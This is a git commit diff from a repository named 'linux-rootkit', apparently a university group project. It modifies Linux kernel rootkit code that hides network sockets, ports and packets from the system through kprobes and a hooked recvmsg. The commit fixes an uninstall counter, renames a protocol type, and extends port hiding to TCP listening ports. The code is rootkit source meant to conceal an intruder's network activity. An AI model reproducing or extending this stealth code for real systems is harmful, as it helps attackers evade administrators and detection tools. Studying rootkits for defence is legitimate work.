linux-rootkit

commit b850a019bbf776515b2a49e053dc0808cd531891
parent 16b8e2699c1b2342acc2fdefade63fccc36a13c2
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 13:31:27 +0100

fixes issues

Diffstat:
M
src/packhide.c
 | 
2
+-
M
src/sockhide.c
 | 
19
+++++++++++++------
M
src/sockhide.h
 | 
16
++++++++--------

3 files changed, 22 insertions(+), 15 deletions(-)
diff --git a/src/packhide.c b/src/packhide.c
@@ -75,7 +75,7 @@ hide_packets(void)
 void
 unhide_packets(void)
 {
-    if (atomic_dec_return(&getdents_install_count) == 0) {
+    if (atomic_dec_return(&getdents_install_count) < 1) {
         unregister_kprobe(&p_rcv);
         unregister_kprobe(&tp_rcv);
         unregister_kprobe(&p_rcv_spkt);
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -10,6 +10,7 @@
 #include "hook.h"
 #include "sockhide.h"
 #include "packhide.h"
+#include "porthide.h"
 
 port_list_t hidden_ports = {
     .port  = -1,
@@ -99,25 +100,31 @@ unhide_sockets(void)
 }
 
 void
-hide_port(port_t port, proto proto)
+hide_port(port_t port, proto_t proto)
 {
     add_port_to_list(hidden_ports_tail, port, proto);
+
+    if (proto == tcp4 || proto == tcp6)
+        hide_lport(port);
 }
 
 void
-unhide_port(port_t port, proto proto)
+unhide_port(port_t port, proto_t proto)
 {
     remove_port_from_list(&hidden_ports, port, proto);
+
+    if (proto == tcp4 || proto == tcp6)
+        unhide_lport(port);
 }
 
 bool
-list_contains_port(port_list_t_ptr list, port_t port, proto proto)
+list_contains_port(port_list_t_ptr list, port_t port, proto_t proto)
 {
     return !!find_port_in_list(list, port, proto);
 }
 
 port_list_t_ptr
-find_port_in_list(port_list_t_ptr head, port_t port, proto proto)
+find_port_in_list(port_list_t_ptr head, port_t port, proto_t proto)
 {
     port_list_t_ptr i;
     for (i = head; i; i = i->next)
@@ -128,7 +135,7 @@ find_port_in_list(port_list_t_ptr head, port_t port, proto proto)
 }
 
 port_list_t_ptr
-add_port_to_list(port_list_t_ptr tail, port_t port, proto proto)
+add_port_to_list(port_list_t_ptr tail, port_t port, proto_t proto)
 {
     port_list_t_ptr node;
     node = (port_list_t_ptr)kmalloc(sizeof(port_list_t), GFP_KERNEL);
@@ -147,7 +154,7 @@ add_port_to_list(port_list_t_ptr tail, port_t port, proto proto)
 }
 
 port_list_t_ptr
-remove_port_from_list(port_list_t_ptr list, port_t port, proto proto)
+remove_port_from_list(port_list_t_ptr list, port_t port, proto_t proto)
 {
     port_list_t_ptr i = find_port_in_list(list, port, proto), ret = NULL;
 
diff --git a/src/sockhide.h b/src/sockhide.h
@@ -6,14 +6,14 @@ typedef enum {
     udp4,
     tcp6,
     udp6
-} proto;
+} proto_t;
 
 typedef unsigned short port_t;
 
 typedef struct port_list *port_list_t_ptr;
 typedef struct port_list {
     port_t port;
-    proto proto;
+    proto_t proto;
     port_list_t_ptr prev;
     port_list_t_ptr next;
 } port_list_t;
@@ -23,14 +23,14 @@ extern port_list_t hidden_ports;
 void hide_sockets(void);
 void unhide_sockets(void);
 
-void hide_port(port_t, proto);
-void unhide_port(port_t, proto);
+void hide_port(port_t, proto_t);
+void unhide_port(port_t, proto_t);
 
 asmlinkage ssize_t g7_recvmsg(struct pt_regs *);
 
-bool list_contains_port(port_list_t_ptr, port_t, proto);
-port_list_t_ptr find_port_in_list(port_list_t_ptr, port_t, proto);
-port_list_t_ptr add_port_to_list(port_list_t_ptr, port_t, proto);
-port_list_t_ptr remove_port_from_list(port_list_t_ptr, port_t, proto);
+bool list_contains_port(port_list_t_ptr, port_t, proto_t);
+port_list_t_ptr find_port_in_list(port_list_t_ptr, port_t, proto_t);
+port_list_t_ptr add_port_to_list(port_list_t_ptr, port_t, proto_t);
+port_list_t_ptr remove_port_from_list(port_list_t_ptr, port_t, proto_t);
 
 #endif //_GROUP7_SOCKHIDE_H